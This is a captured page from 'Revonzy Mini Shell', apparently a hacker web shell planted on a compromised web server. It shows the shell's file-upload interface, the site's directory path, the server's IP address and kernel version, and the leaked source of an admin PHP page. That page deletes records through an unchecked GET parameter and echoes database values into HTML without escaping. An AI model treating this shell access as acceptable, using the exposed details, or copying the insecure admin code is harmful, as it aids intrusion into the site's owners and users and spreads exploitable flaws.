Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/governmentofindia.in/dt_admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/governmentofindia.in/dt_admin/sub-category.php

<?php
    require_once('lib/functions.php');
	$db = new login_function();
	
	$flag = 0;
	$success_message	=	0;
   if(isset($_POST['submit']))
   {  
		$category		=	$_POST['category_id'];
		$title			=	$_POST['title'];
				
		if($db->save_sub_category_name($category,$title))
		{
			$success_message	=	1;
		}
		else
		{ 
			$success_message = 2;
		}	
	}
	
?>   
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width initial-scale=1.0">
    <title><?php echo $project_title; ?></title>
    <!-- GLOBAL MAINLY STYLES-->
   <link href="css/bootstrap.min.css" rel="stylesheet" />
    <link href="css/font-awesome.min.css" rel="stylesheet" />
    <link href="css/line-awesome.min.css" rel="stylesheet" />
    <link href="css/themify-icons.css" rel="stylesheet" />
    <link href="css/animate.min.css" rel="stylesheet" />
    <link href="css/toastr.min.css" rel="stylesheet" />
    <link href="css/bootstrap-select.min.css" rel="stylesheet" />
	<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css">
  
    <!-- PLUGINS STYLES-->
    <!-- THEME STYLES-->
    <link href="css/main.min.css" rel="stylesheet" />
    <!-- PAGE LEVEL STYLES-->
<style>
.col-md-8
{
	width:100%;
	margin:auto;
	margin-top:20px;
}

@media only screen and (max-width: 600px) {
	.col-md-8
	{
		margin:30px;
		width:100%;
	}
	.alert
	{
		width:100%;
	}
	.side-row
	{
		width:49%;
		display:inline-table;
	}
}

</style>
</head>

<body class="fixed-navbar">
    <div class="page-wrapper">
        <?php include('header.php'); ?>
        <?php include('side-bar.php'); ?>
			<div class="content-wrapper">
               <div class="row">
				 <div class="col-md-12">
                        <div class="ibox">
                            <form class="form-pink" method="post"  name="myForm"  onsubmit="return validateForm()" autocomplete=	"off" enctype="multipart/form-data">	
								<?php
								if($success_message ==1)
								{
								?>
									<div class="alert alert-success">
									<span class="alert-link">Success!</span>Post Has Saved.
									</div>
								<?php
								}
								?>	
								<?php
								if($success_message ==2)
								{
								?>
									<div class="alert alert-danger">
										<span class="alert-link">Sorry!</span> Failed To Save
									</div>
								<?php
								}
								?>	
									
                                <div class="ibox-head">
                                    <div class="ibox-title"> <i class="sidebar-item-icon fas fa-user-cog"></i>Add Sub Category</div>
                                </div>
                                <div class="ibox-body">
                                  <div class="form-group mb-4">
								  <label class="form-group mb-4 set-row"><b>Select Category:</b></label>

									<div class="input-group-icon input-group-icon-left">
									<span class="input-icon input-icon-left"><i class="fas fa-lock"></i></span>
										<select name="category_id" class="form-control form-control-air" >
										 <?php
											$data	=	array();
											$data	=	$db->get_multiple_rows_of_jewellery_category();

											if(!empty($data))
											{
												$counter=0;
												foreach($data as $record)
												{
													$cat_id			                         =	$record[0];
													$category_name			                 =	$record[1];
													$icon_image			                     =  $record[2];
													$date				                     =	$record[3];
													$time				                     =	$record[4];
		
											?>
											<option value="<?php echo $cat_id;  ?>"><?php echo $category_name; ?></option>
											<?php
													$counter++;		
												}
											}
											?>
										</select>
									</div>
								</div>
								
								 <div class="form-group mb-4">
								  <label class="form-group mb-4 set-row"><b>Enter Title:</b></label>

									<div class="input-group-icon input-group-icon-left">
										<span class="input-icon input-icon-left"><i class="fas fa-lock"></i></span>
										<input type="text"  class="form-control form-control-air" placeholder="Enter Title"  name="title" required  />
									</div>
								</div>
								<!--<div class="form-group mb-4">
								  <label class="form-group mb-4 set-row"><b>Enter Description:</b></label>

									<div class="input-group-icon input-group-icon-left">
									<textarea class="form-control form-control-air" placeholder="Enter Description" name="description" style="height:500px;"></textarea> 
										
									</div>
								</div>
								<div class="form-group mb-4">
								  <label class="form-group mb-4 set-row"><b>Enter Link:</b></label>

									<div class="input-group-icon input-group-icon-left">
										<span class="input-icon input-icon-left"><i class="fas fa-lock"></i></span>
										<input type="text"  class="form-control form-control-air" placeholder="Enter Link "  name="link" required  />
									</div>
								</div>
								<div class="form-group mb-4">
								  <label class="form-group mb-4 set-row"><b>Select Image:</b></label>

									<div class="input-group-icon input-group-icon-left">
										<span class="input-icon input-icon-left"><i class="fas fa-lock"></i></span>
										<input type="file"  class="form-control form-control-air" placeholder="Enter Image "  name="attachment" required  />
									</div>
								</div>-->
								
								</div>
								
								<div class="ibox-footer">
                                   <center> <button class="btn btn-pink btn-air mr-2" type="submit" name="submit"> Submit</button> </center>
                                   
                                </div>
                            </form>
                        
                        </div>
                    </div>
                </div>
				
				
				
							<div class="page-content fade-in-up">
<div class="ibox">
<div class="ibox-body">
<h5 class="font-strong mb-4">Category Report</h5>
<div class="flexbox mb-4">
<div class="input-group-icon input-group-icon-left mr-3">
<span class="input-icon input-icon-right font-16"><i class="fas fa-search"></i></span>
<input class="form-control form-control-rounded form-control-solid" id="key-search" type="text" placeholder="Search ...">
</div>
</div>
<div class="table-responsive row">

<?php
	if(isset($_GET['del_id']))
	{
		$delete_id	=	$_GET['del_id'];
		
		if($db->delete_sub_category_record_name($delete_id))
		{		
			$SuccessMsg = 3;
		}
	}
?>
<?php
if($success_message ==1)
{
?>
	<div class="alert alert-success">
	<span class="alert-link">Success!</span>Post deleted successfully
	</div>
<?php
}
?>	

<table class="table table-bordered table-hover" id="example" style="overflow-x:auto;overflow-y:auto;">
<thead class="thead-default thead-lg">
<tr>
	<th>SR</th> 
	<th>Category Name</th> 
	<th>Icon Image</th> 
	<th>Date</th>
	<th>Time</th> 
	<th>Delete</th> 
	<th>Edit</th>
	
</tr>
</thead>
<tbody>
<?php
$data	=	array();
$data	=	$db->get_all_subcategory_report_data();

if(!empty($data))
{
	$counter=0;
	foreach($data as $record)
	{
		$id				                         =	$record[0];
		$category_id			                 =	$record[1];
		$sub_category_name			             =  $record[2];
		$visits										=  $record[3];
		$date				                     =	$record[4];
		$time				                     =	$record[5];
		
		?>
		<tr> 
		    <td><?php echo $counter+1; ?></td>
			<td><?php echo $category_id; ?></td>
			<td><?php echo $sub_category_name; ?></td>
			<td><?php echo $date; ?></td>
			<td><?php echo $time; ?></td>
			
			<td><a href="<?php echo $_SERVER['PHP_SELF']; ?>?del_id=<?php echo $id; ?>" onclick="return confirm('Are you Sure to Delete This record?');"><i class="fas fa-trash"style="color:red;margin-left:20px;"></i></td>								
		   <td><a href="edit-category-report.php?edit_id=<?php echo $id; ?>" ><i class="fas fa-edit"style="color:red;margin-left:20px;"></i></td>					
		</tr> 
		<?php
		$counter++;		
	}
}
?>
</tbody> 
</table> 
</div>
</div>
</div>
</div>
			<?php include('footer.php'); ?>
			
    </div>
    <?php include('search.php'); ?>
    <!-- END SEARCH PANEL-->
    <!-- BEGIN THEME CONFIG PANEL-->
    
    <!-- END THEME CONFIG PANEL-->
    <!-- BEGIN PAGA BACKDROPS-->
    <div class="sidenav-backdrop backdrop"></div>
    <div class="preloader-backdrop">
        <div class="page-preloader">Loading</div>
    </div>
    <!-- END PAGA BACKDROPS-->
    <!-- New question dialog-->
    
    <!-- End New question dialog-->
    <!-- QUICK SIDEBAR-->
    <?php include('right-side-bar.php'); ?>
	
	
   <script src="js/jquery.min.js"></script>
    <script src="js/popper.min.js"></script>
    <script src="js/bootstrap.min.js"></script>
    <script src="js/metisMenu.min.js"></script>
    <script src="js/jquery.slimscroll.min.js"></script>
    <script src="js/idle-timer.min.js"></script>
    <script src="js/toastr.min.js"></script>
    <script src="js/jquery.validate.min.js"></script>
    <script src="js/bootstrap-select.min.js"></script>
    <!-- PAGE LEVEL PLUGINS-->
    <!-- CORE SCRIPTS-->
    <script src="js/app.min.js"></script>
    <!-- PAGE LEVEL SCRIPTS-->
</body>

				
                <?php include('footer.php'); ?>
			</div>
    </div>
    <?php include('search.php'); ?>
    <!-- END SEARCH PANEL-->
    <!-- BEGIN THEME CONFIG PANEL-->
    
    <!-- END THEME CONFIG PANEL-->
    <!-- BEGIN PAGA BACKDROPS-->
    <div class="sidenav-backdrop backdrop"></div>
    <div class="preloader-backdrop">
        <div class="page-preloader">Loading</div>
    </div>
    <!-- END PAGA BACKDROPS-->
    <!-- New question dialog-->
    
    <!-- End New question dialog-->
    <!-- QUICK SIDEBAR-->
    <?php include('right-side-bar.php'); ?>
	
	
   <script src="js/jquery.min.js"></script>
    <script src="js/popper.min.js"></script>
    <script src="js/bootstrap.min.js"></script>
    <script src="js/metisMenu.min.js"></script>
    <script src="js/jquery.slimscroll.min.js"></script>
    <script src="js/idle-timer.min.js"></script>
    <script src="js/toastr.min.js"></script>
    <script src="js/jquery.validate.min.js"></script>
    <script src="js/bootstrap-select.min.js"></script>
    <!-- PAGE LEVEL PLUGINS-->
    <!-- CORE SCRIPTS-->
    <script src="js/app.min.js"></script>
	<script type="text/javascript" src="http://js.nicedit.com/nicEdit-latest.js"></script>
	<script type="text/javascript">
//<![CDATA[
        bkLib.onDomLoaded(function() { nicEditors.allTextAreas() });
  //]]>
  </script>
	
    <!-- PAGE LEVEL SCRIPTS-->
</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4